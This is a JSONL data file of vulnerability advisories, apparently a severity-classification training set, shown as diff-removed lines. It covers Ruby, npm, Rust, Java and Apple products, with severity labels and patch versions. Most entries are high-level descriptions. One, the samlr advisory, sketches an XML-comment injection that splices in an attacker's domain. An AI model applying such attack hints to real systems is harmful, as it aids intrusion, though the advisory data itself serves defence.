[GHSA-cvpc-8phh-8f45](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cvpc-8phh-8f45).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "1837bcfde3d08e7c491e", "text": "nori contains Improper Input Validation\n\nThe nori gem 2.0.x before 2.0.2, 1.1.x before 1.1.4, and 1.0.x before 1.0.3 for Ruby does not properly restrict casts of string values, which allows remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) involving nested XML entity references, by leveraging Action Pack support for (1) YAML type conversion or (2) Symbol type conversion, a similar vulnerability to CVE-2013-0156.", "text_raw": "nori contains Improper Input Validation\n\n[Severity: HIGH]\n\nThe nori gem 2.0.x before 2.0.2, 1.1.x before 1.1.4, and 1.0.x before 1.0.3 for Ruby does not properly restrict casts of string values, which allows remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) involving nested XML entity references, by leveraging Action Pack support for (1) YAML type conversion or (2) Symbol type conversion, a similar vulnerability to CVE-2013-0156.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "ce7a5e713997d1d51c26", "text": "Default Express middleware security check is ignored in production\n\n## Default Express middleware security check is ignored in production\n\n### Impact\r\nAll Cube.js deployments that use affected versions of `@cubejs-backend/api-gateway` with default express authentication middleware in production environment are affected.\n\n### Patches\r\n@cubejs-backend/api-gateway@0.11.17\n\n### Workarounds\r\nOverride default authentication express middleware: https://cube.dev/docs/@cubejs-backend-server-core#options-reference-check-auth-middleware\n\n### For more information\r\nIf you have any questions or comments about this advisory:\r\n* Open an issue in https://github.com/cube-js/cube.js/issues\r\n* Reach out us in community Slack: https://slack.cube.dev/", "text_raw": "Default Express middleware security check is ignored in production\n\n[Severity: HIGH]\n\n## Default Express middleware security check is ignored in production\r\n\r\n### Impact\r\nAll Cube.js deployments that use affected versions of `@cubejs-backend/api-gateway` with default express authentication middleware in production environment are affected.\r\n\r\n### Patches\r\n@cubejs-backend/api-gateway@0.11.17\r\n\r\n### Workarounds\r\nOverride default authentication express middleware: https://cube.dev/docs/@cubejs-backend-server-core#options-reference-check-auth-middleware\r\n\r\n### For more information\r\nIf you have any questions or comments about this advisory:\r\n* Open an issue in https://github.com/cube-js/cube.js/issues\r\n* Reach out us in community Slack: https://slack.cube.dev/\r\n\r\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-11-08", "split": "train"}
-{"id": "22e5e49c057011c2f318", "text": "Malicious Package in buffer-hor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffer-hor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "0efe6791739ee08f8791", "text": "All-Dynamics Software enlogic:show Digital Signage System 2.0.2 Session Fixation", "text_raw": "All-Dynamics Software enlogic:show Digital Signage System 2.0.2 Session Fixation\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2020-07-31", "split": "train"}
-{"id": "a52b06079fd6f87ab7bc", "text": "Double free in toodee\n\nWhen inserting rows from an iterator at a particular index, toodee would shift items over, duplicating their ownership. The space reserved for the new elements was based on the len() returned by the ExactSizeIterator.\n\nThis could result in elements in the array being freed twice if the iterator panics. Uninitialized or previously freed elements could also be exposed if the len() didn't match the number of elements.\n\nThese issues were fixed in commit `ced70c17` by temporarily setting the length of the array smaller while processing it and adding assertions on the number of elements returned by the iterator.", "text_raw": "Double free in toodee\n\n[Severity: CRITICAL]\n\nWhen inserting rows from an iterator at a particular index, toodee would shift items over, duplicating their ownership. The space reserved for the new elements was based on the len() returned by the ExactSizeIterator.\n\nThis could result in elements in the array being freed twice if the iterator panics. Uninitialized or previously freed elements could also be exposed if the len() didn't match the number of elements.\n\nThese issues were fixed in commit `ced70c17` by temporarily setting the length of the array smaller while processing it and adding assertions on the number of elements returned by the iterator.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "538956260ae7dd1347f1", "text": "Regular Expression Denial of Service in validator\n\nVersions of `validator` prior to 3.22.1 are affected by a regular expression denial of service vulnerability in the `isURL` method.\n\n## Recommendation\n\nUpdate to version 3.22.1 or later.", "text_raw": "Regular Expression Denial of Service in validator\n\n[Severity: HIGH]\n\nVersions of `validator` prior to 3.22.1 are affected by a regular expression denial of service vulnerability in the `isURL` method.\n\n\n## Recommendation\n\nUpdate to version 3.22.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "2a1fed36f50aeb5636c2", "text": "Privilege Escalation in Cloud Native Computing Foundation Harbor\n\nCloud Native Computing Foundation Harbor prior to 1.8.6 and 1.9.3 has a Privilege Escalation Vulnerability in the VMware Harbor Container Registry for the Pivotal Platform.", "text_raw": "Privilege Escalation in Cloud Native Computing Foundation Harbor\n\n[Severity: MEDIUM]\n\nCloud Native Computing Foundation Harbor prior to 1.8.6 and 1.9.3 has a Privilege Escalation Vulnerability in the VMware Harbor Container Registry for the Pivotal Platform.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "505c1dd83c8c94964991", "text": "Firewall configured with unanimous strategy was not actually unanimous in Symfony\n\nDescription\n-----------\n\nOn Symfony before 4.4.0, when a `Firewall` checks an access control rule (using the unanimous strategy), it iterates over all rule attributes and grant access only if *all* calls to the `accessDecisionManager` decide to grant access.\n\nAs of Symfony 4.4.0, a bug was introduced that prevents the check of attributes as soon as `accessDecisionManager` decide to grant access on one attribute.\n\nResolution\n----------\n\nThe `accessDecisionManager` is now called with all attributes at once, allowing the unanimous strategy being applied on each attribute.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/c935e4a3fba6cc2ab463a6ca382858068d63cebf) for the 4.4 branch.\n\nCredits\n-------\n\nI would like to thank Antonio J. García Lagar for reporting & Robin Chalas for fixing the issue.", "text_raw": "Firewall configured with unanimous strategy was not actually unanimous in Symfony\n\n[Severity: HIGH]\n\nDescription\n-----------\n\nOn Symfony before 4.4.0, when a `Firewall` checks an access control rule (using the unanimous strategy), it iterates over all rule attributes and grant access only if *all* calls to the `accessDecisionManager` decide to grant access.\n\nAs of Symfony 4.4.0, a bug was introduced that prevents the check of attributes as soon as `accessDecisionManager` decide to grant access on one attribute.\n\nResolution\n----------\n\nThe `accessDecisionManager` is now called with all attributes at once, allowing the unanimous strategy being applied on each attribute. \n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/c935e4a3fba6cc2ab463a6ca382858068d63cebf) for the 4.4 branch.\n\nCredits\n-------\n\nI would like to thank Antonio J. García Lagar for reporting & Robin Chalas for fixing the issue.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-30", "split": "train"}
-{"id": "e7dd83b513a32aab3019", "text": "Multiple memory safety issues in actix-web\n\nAffected versions contain multiple memory safety issues, such as:\n\n- Unsoundly coercing immutable references to mutable references\n - Unsoundly extending lifetimes of strings\n - Adding the `Send` marker trait to objects that cannot be safely sent between threads\n\nThis may result in a variety of memory corruption scenarios, most likely use-after-free.\n\nA signficant refactoring effort has been conducted to resolve these issues.", "text_raw": "Multiple memory safety issues in actix-web\n\n[Severity: MEDIUM]\n\nAffected versions contain multiple memory safety issues, such as:\n\n - Unsoundly coercing immutable references to mutable references\n - Unsoundly extending lifetimes of strings\n - Adding the `Send` marker trait to objects that cannot be safely sent between threads\n\nThis may result in a variety of memory corruption scenarios, most likely use-after-free.\n \nA signficant refactoring effort has been conducted to resolve these issues.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "1e4e3db845566f89a875", "text": "RubyGems Escape sequence injection in errors\n\nAn issue was discovered in RubyGems 2.6 and later through 3.0.2. Since Gem::CommandManager#run calls alert_error without escaping, escape sequence injection is possible. (There are many ways to cause an error.)", "text_raw": "RubyGems Escape sequence injection in errors\n\n[Severity: HIGH]\n\nAn issue was discovered in RubyGems 2.6 and later through 3.0.2. Since Gem::CommandManager#run calls alert_error without escaping, escape sequence injection is possible. (There are many ways to cause an error.)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-20", "split": "train"}
-{"id": "d99a99fa1c552b2bdda2", "text": "Circutor PowerStudio SCADA 4.0.5 Unquoted Service Path Elevation Of Privilege", "text_raw": "Circutor PowerStudio SCADA 4.0.5 Unquoted Service Path Elevation Of Privilege\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2015-12-05", "split": "train"}
-{"id": "956d5a738652878ee030", "text": "Apple iOS, iPadOS, macOS Use-After-Free Vulnerability\n\nAffected: Apple iOS, iPadOS, and macOS\n\nApple iOS, iPadOS, and macOS WebKit contain a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple iOS, iPadOS, macOS Use-After-Free Vulnerability\n\nAffected: Apple iOS, iPadOS, and macOS\n\nApple iOS, iPadOS, and macOS WebKit contain a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "e3ce28a026c48e4b6ab7", "text": "ReDoS via long string of semicolons in tough-cookie\n\nAffected versions of `tough-cookie` may be vulnerable to regular expression denial of service when long strings of semicolons exist in the `Set-Cookie` header.\n\n## Recommendation\n\nUpdate to version 2.3.0 or later.", "text_raw": "ReDoS via long string of semicolons in tough-cookie\n\n[Severity: MEDIUM]\n\nAffected versions of `tough-cookie` may be vulnerable to regular expression denial of service when long strings of semicolons exist in the `Set-Cookie` header.\n\n\n## Recommendation\n\nUpdate to version 2.3.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "08c3b8daba04db3adb64", "text": "The (1) proton.reactor.Connector, (2) proton.reactor.Container, and (3) proton.utils.BlockingConnection classes in Apache Qpid Proton before 0.12.1 improperly use an unencrypted connection for an amqps URI scheme when SSL support is unavailable, which might allow man-in-the-middle attackers to obtain sensitive information or modify data via unspecified vectors.", "text_raw": "Moderate severity vulnerability that affects org.apache.qpid:proton-j\n\n[Severity: MEDIUM]\n\nThe (1) proton.reactor.Connector, (2) proton.reactor.Container, and (3) proton.utils.BlockingConnection classes in Apache Qpid Proton before 0.12.1 improperly use an unencrypted connection for an amqps URI scheme when SSL support is unavailable, which might allow man-in-the-middle attackers to obtain sensitive information or modify data via unspecified vectors.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "bbbd097c5b1879f78301", "text": "ReDOS vulnerabities: multiple grammars\n\n### Impact: Potential ReDOS vulnerabilities (exponential and polynomial RegEx backtracking)\n\n[oswasp](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS):\n\n> The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\n\nIf are you are using Highlight.js to highlight user-provided data you are possibly vulnerable.  On the client-side (in a browser or Electron environment) risks could include lengthy freezes or crashes... On the server-side infinite freezes could occur... effectively preventing users from accessing your app or service (ie, Denial of Service).\n\nThis is an issue with grammars shipped with the parser (and potentially 3rd party grammars also), not the parser itself. If you are using Highlight.js with any of the following grammars you are vulnerable.  If you are using `highlightAuto` to detect the language (and have any of these grammars registered) you are vulnerable. Exponential grammars (C, Perl, JavaScript) are auto-registered when using the common grammar subset/library `require('highlight.js/lib/common')` as of 10.4.0 - see https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@10.4.0/build/highlight.js\n\nAll versions prior to 10.4.1 are vulnerable, including version 9.18.5.\n\n**Grammars with exponential backtracking issues:**\n\n- c-like (c, cpp, arduino)\n  - handlebars (htmlbars)\n  - gams\n  - perl\n  - jboss-cli\n  - r\n  - erlang-repl\n  - powershell\n  - routeros\n  - livescript (10.4.0 and 9.18.5 included this fix)\n  - javascript & typescript (10.4.0 included partial fixes)\n\nAnd of course any aliases of those languages have the same issue. ie: `hpp` is no safer than `cpp`.\n\n**Grammars with polynomial backtracking issues:**\n\n- kotlin\n- gcode\n- d\n- aspectj\n- moonscript\n- coffeescript/livescript\n- csharp\n- scilab\n- crystal\n- elixir\n- basic\n- ebnf\n- ruby\n- fortran/irpf90\n- livecodeserver\n- yaml\n- x86asm\n- dsconfig\n- markdown\n- ruleslanguage\n- xquery\n- sqf\n\nAnd again: any aliases of those languages have the same issue. ie: `ruby` and `rb` share the same ruby issues.\n\n### Patches\n\n- Version 10.4.1 resolves these vulnerabilities.  Please upgrade.\n\n### Workarounds / Mitigations\n\n- Discontinue use the affected grammars. (or perhaps use only those with poly vs exponential issues)\n- Attempt cherry-picking the grammar fixes into older versions...\n- Attempt using newer CDN versions of any affected languages.  (ie using an older CDN version of the library with newer CDN grammars).  Your mileage may vary.\n\n### References\n\n- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue: https://github.com/highlightjs/highlight.js/issues\n* Email us at [security@highlightjs.com](mailto:security@highlightjs.com)", "text_raw": "ReDOS vulnerabities: multiple grammars\n\n[Severity: MEDIUM]\n\n### Impact: Potential ReDOS vulnerabilities (exponential and polynomial RegEx backtracking)\n\n[oswasp](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS): \n\n> The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\n\nIf are you are using Highlight.js to highlight user-provided data you are possibly vulnerable.  On the client-side (in a browser or Electron environment) risks could include lengthy freezes or crashes... On the server-side infinite freezes could occur... effectively preventing users from accessing your app or service (ie, Denial of Service).\n\nThis is an issue with grammars shipped with the parser (and potentially 3rd party grammars also), not the parser itself. If you are using Highlight.js with any of the following grammars you are vulnerable.  If you are using `highlightAuto` to detect the language (and have any of these grammars registered) you are vulnerable. Exponential grammars (C, Perl, JavaScript) are auto-registered when using the common grammar subset/library `require('highlight.js/lib/common')` as of 10.4.0 - see https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@10.4.0/build/highlight.js\n\nAll versions prior to 10.4.1 are vulnerable, including version 9.18.5. \n\n**Grammars with exponential backtracking issues:**\n\n  - c-like (c, cpp, arduino)\n  - handlebars (htmlbars)\n  - gams\n  - perl\n  - jboss-cli\n  - r\n  - erlang-repl\n  - powershell\n  - routeros\n  - livescript (10.4.0 and 9.18.5 included this fix)\n  - javascript & typescript (10.4.0 included partial fixes)\n\nAnd of course any aliases of those languages have the same issue. ie: `hpp` is no safer than `cpp`.\n\n**Grammars with polynomial backtracking issues:**\n\n- kotlin\n- gcode\n- d\n- aspectj\n- moonscript\n- coffeescript/livescript\n- csharp\n- scilab\n- crystal\n- elixir\n- basic\n- ebnf\n- ruby\n- fortran/irpf90\n- livecodeserver\n- yaml\n- x86asm\n- dsconfig\n- markdown\n- ruleslanguage\n- xquery\n- sqf\n\nAnd again: any aliases of those languages have the same issue. ie: `ruby` and `rb` share the same ruby issues.\n\n\n### Patches\n\n- Version 10.4.1 resolves these vulnerabilities.  Please upgrade.\n\n### Workarounds / Mitigations\n\n- Discontinue use the affected grammars. (or perhaps use only those with poly vs exponential issues)\n- Attempt cherry-picking the grammar fixes into older versions...\n- Attempt using newer CDN versions of any affected languages.  (ie using an older CDN version of the library with newer CDN grammars).  Your mileage may vary.\n\n### References\n\n- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue: https://github.com/highlightjs/highlight.js/issues\n* Email us at [security@highlightjs.com](mailto:security@highlightjs.com)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-04", "split": "train"}
-{"id": "affcaf4ea0de9af5bbbb", "text": "Apple Multiple Products Memory Initialization Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, and watchOS contain a memory initialization vulnerability that may allow a malicious application to disclose kernel memory.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-665\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple Multiple Products Memory Initialization Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, and watchOS contain a memory initialization vulnerability that may allow a malicious application to disclose kernel memory.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-665\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "f44a3bd3ea93a8fe9060", "text": "Cross-site Scripting in django-wiki\n\nIn Django-wiki, versions 0.0.20 to 0.7.8 are vulnerable to Stored Cross-Site Scripting (XSS) in Notifications Section. An attacker who has access to edit pages can inject JavaScript payload in the title field. When a victim gets a notification regarding the changes made in the application, the payload in the notification panel renders and loads external JavaScript.", "text_raw": "Cross-site Scripting in django-wiki\n\n[Severity: MEDIUM]\n\nIn Django-wiki, versions 0.0.20 to 0.7.8 are vulnerable to Stored Cross-Site Scripting (XSS) in Notifications Section. An attacker who has access to edit pages can inject JavaScript payload in the title field. When a victim gets a notification regarding the changes made in the application, the payload in the notification panel renders and loads external JavaScript.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-02", "split": "train"}
-{"id": "9d775839c7a9154dc84d", "text": "Puppet Improper Input Validation vulnerability\n\nPuppet 2.7.x before 2.7.22 and 3.2.x before 3.2.2, and Puppet Enterprise before 2.8.2, deserializes untrusted YAML, which allows remote attackers to instantiate arbitrary Ruby classes and execute arbitrary code via a crafted REST API call.", "text_raw": "Puppet Improper Input Validation vulnerability\n\n[Severity: HIGH]\n\nPuppet 2.7.x before 2.7.22 and 3.2.x before 3.2.2, and Puppet Enterprise before 2.8.2, deserializes untrusted YAML, which allows remote attackers to instantiate arbitrary Ruby classes and execute arbitrary code via a crafted REST API call.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "0176573640c8f5500748", "text": "Improper Authorization in loopback\n\nVulnerable versions of `loopback` may allow attackers to create Authentication Tokens on behalf of other users due to Improper Authorization. If the AccessToken model is publicly exposed, an attacker can create Authorization Tokens for any user as long as they know the target's `userId`. This will allow the attacker to access the user's data and their privileges.\n\n## Recommendation\n\nFor loopback 2.x, upgrade to version 2.40.0 or later\nFor loopback 3.x, upgrade to version 3.22.0 or later", "text_raw": "Improper Authorization in loopback\n\n[Severity: HIGH]\n\nVulnerable versions of `loopback` may allow attackers to create Authentication Tokens on behalf of other users due to Improper Authorization. If the AccessToken model is publicly exposed, an attacker can create Authorization Tokens for any user as long as they know the target's `userId`. This will allow the attacker to access the user's data and their privileges.\n\n\n## Recommendation\n\nFor loopback 2.x, upgrade to version 2.40.0 or later\nFor loopback 3.x, upgrade to version 3.22.0 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "9762928a49986d4b929e", "text": "python-docutils allows insecure usage of temporary files\n\npython-docutils allows insecure usage of temporary files.", "text_raw": "python-docutils allows insecure usage of temporary files\n\n[Severity: CRITICAL]\n\npython-docutils allows insecure usage of temporary files.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-03-13", "split": "train"}
-{"id": "b4476fc19a28e6d08623", "text": "Sensitive Data Exposure in Apache Ant\n\nApache Ant 1.1 to 1.9.14 and 1.10.0 to 1.10.7 uses the default temporary directory identified by the Java system property java.io.tmpdir for several tasks and may thus leak sensitive information. The fixcrlf and replaceregexp tasks also copy files from the temporary directory back into the build tree allowing an attacker to inject modified source files into the build process.", "text_raw": "Sensitive Data Exposure in Apache Ant\n\n[Severity: MEDIUM]\n\nApache Ant 1.1 to 1.9.14 and 1.10.0 to 1.10.7 uses the default temporary directory identified by the Java system property java.io.tmpdir for several tasks and may thus leak sensitive information. The fixcrlf and replaceregexp tasks also copy files from the temporary directory back into the build tree allowing an attacker to inject modified source files into the build process.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-14", "split": "train"}
-{"id": "1ab49a517f03f257f94d", "text": "samlr XML nodes comment attack\n\nZendesk Samlr before 2.6.2 allows an XML nodes comment attack such as a name_id node with user@example.com followed by `<!---->`. and then the attacker's domain name.", "text_raw": "samlr XML nodes comment attack\n\n[Severity: HIGH]\n\nZendesk Samlr before 2.6.2 allows an XML nodes comment attack such as a name_id node with user@example.com followed by `<!---->`. and then the attacker's domain name.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-31", "split": "train"}
-{"id": "b7ebd78b746c01ff8f9f", "text": "Emby MediaServer 3.2.5 Password Reset Vulnerability", "text_raw": "Emby MediaServer 3.2.5 Password Reset Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-04-30", "split": "train"}
-{"id": "ca9b6371f484f2c81e0b", "text": "Oracle WebLogic Server Unspecified Vulnerability\n\nAffected: Oracle WebLogic Server\n\nOracle WebLogic Server contains an unspecified vulnerability in the Console component with high impacts to confidentilaity, integrity, and availability.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Oracle WebLogic Server Unspecified Vulnerability\n\nAffected: Oracle WebLogic Server\n\nOracle WebLogic Server contains an unspecified vulnerability in the Console component with high impacts to confidentilaity, integrity, and availability.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "779487f7e39da85c1f6e", "text": "PyOpenSSL Use-After-Free vulnerability\n\nIt was discovered that pyOpenSSL incorrectly handled memory when handling X509 objects. A remote attacker could use this issue to cause pyOpenSSL to crash, resulting in a denial of service, or possibly execute arbitrary code. This attack appears to be exploitable via Depends on the calling application and if it retains a reference to the memory. This vulnerability appears to have been fixed in 17.5.0.", "text_raw": "PyOpenSSL Use-After-Free vulnerability\n\n[Severity: HIGH]\n\nIt was discovered that pyOpenSSL incorrectly handled memory when handling X509 objects. A remote attacker could use this issue to cause pyOpenSSL to crash, resulting in a denial of service, or possibly execute arbitrary code. This attack appears to be exploitable via Depends on the calling application and if it retains a reference to the memory. This vulnerability appears to have been fixed in 17.5.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "d60a2b7cd086fa7699ed", "text": "Server-Side Request Forgery in private-ip\n\nInsufficient RegEx in private-ip npm package v1.0.5 and below insufficiently filters reserved IP ranges resulting in indeterminate SSRF. An attacker can perform a large range of requests to ARIN reserved IP ranges, resulting in an indeterminable number of critical attack vectors, allowing remote attackers to request server-side resources or potentially execute arbitrary code through various SSRF techniques.", "text_raw": "Server-Side Request Forgery in private-ip\n\n[Severity: CRITICAL]\n\nInsufficient RegEx in private-ip npm package v1.0.5 and below insufficiently filters reserved IP ranges resulting in indeterminate SSRF. An attacker can perform a large range of requests to ARIN reserved IP ranges, resulting in an indeterminable number of critical attack vectors, allowing remote attackers to request server-side resources or potentially execute arbitrary code through various SSRF techniques.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "bfb1f8fe3f038860c782", "text": "Remote Code Execution via traversal in TAL expressions\n\nThis advisory extends the previous advisory at https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36 with additional cases of TAL expression traversal vulnerabilities.\n\n### Impact\nMost Python modules are not available for using in TAL expressions that you can add through-the-web, for example in Zope Page Templates. This restriction avoids file system access, for example via the 'os' module. But some of the untrusted modules are available indirectly through Python modules that are available for direct use.\n\nBy default, you need to have the Manager role to add or edit Zope Page Templates through the web. Only sites that allow untrusted users to add/edit Zope Page Templates through the web are at risk.\n\n### Patches\nThe problem has been fixed in Zope 5.21 and 4.6.1.\n\n### Workarounds\nThe workaround is the same as for https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36: A site administrator can restrict adding/editing Zope Page Templates through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing Zope Page Templates through the web should be restricted to trusted users only.\n\n### References\n* [The previous advisory (GHSA-5pr9-v234-jw36)](https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [Zope issue tracker](https://github.com/zopefoundation/Zope/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)", "text_raw": "Remote Code Execution via traversal in TAL expressions\n\n[Severity: HIGH]\n\nThis advisory extends the previous advisory at https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36 with additional cases of TAL expression traversal vulnerabilities.\n\n### Impact\nMost Python modules are not available for using in TAL expressions that you can add through-the-web, for example in Zope Page Templates. This restriction avoids file system access, for example via the 'os' module. But some of the untrusted modules are available indirectly through Python modules that are available for direct use.\n\nBy default, you need to have the Manager role to add or edit Zope Page Templates through the web. Only sites that allow untrusted users to add/edit Zope Page Templates through the web are at risk.\n\n### Patches\nThe problem has been fixed in Zope 5.21 and 4.6.1.\n\n### Workarounds\nThe workaround is the same as for https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36: A site administrator can restrict adding/editing Zope Page Templates through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing Zope Page Templates through the web should be restricted to trusted users only.\n\n### References\n* [The previous advisory (GHSA-5pr9-v234-jw36)](https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [Zope issue tracker](https://github.com/zopefoundation/Zope/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "5561c2903c774f538b74", "text": "Path Traversal in express-cart\n\nVersions of `express-cart` before 1.1.7 are vulnerable to Path Traversal.\n\n## Recommendation\n\nUpdate to version 1.1.7 or later.", "text_raw": "Path Traversal in express-cart\n\n[Severity: HIGH]\n\nVersions of `express-cart` before 1.1.7 are vulnerable to Path Traversal.\n\n\n## Recommendation\n\nUpdate to version 1.1.7 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "706b7c3e728dce9506ea", "text": "Improper Input Validation in Apache Solr\n\nApache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote Code Execution through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/` directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled` by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user).", "text_raw": "Improper Input Validation in Apache Solr\n\n[Severity: HIGH]\n\nApache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote Code Execution through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/` directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled` by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-02-12", "split": "train"}
-{"id": "749154b55aaae13c4080", "text": "Cross Site Request Forgery in mailman\n\nIn GNU Mailman before 2.1.38, a list member or moderator can get a CSRF token and craft an admin request (using that token) to set a new admin password or make other changes.", "text_raw": "Cross Site Request Forgery in mailman\n\n[Severity: HIGH]\n\nIn GNU Mailman before 2.1.38, a list member or moderator can get a CSRF token and craft an admin request (using that token) to set a new admin password or make other changes.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
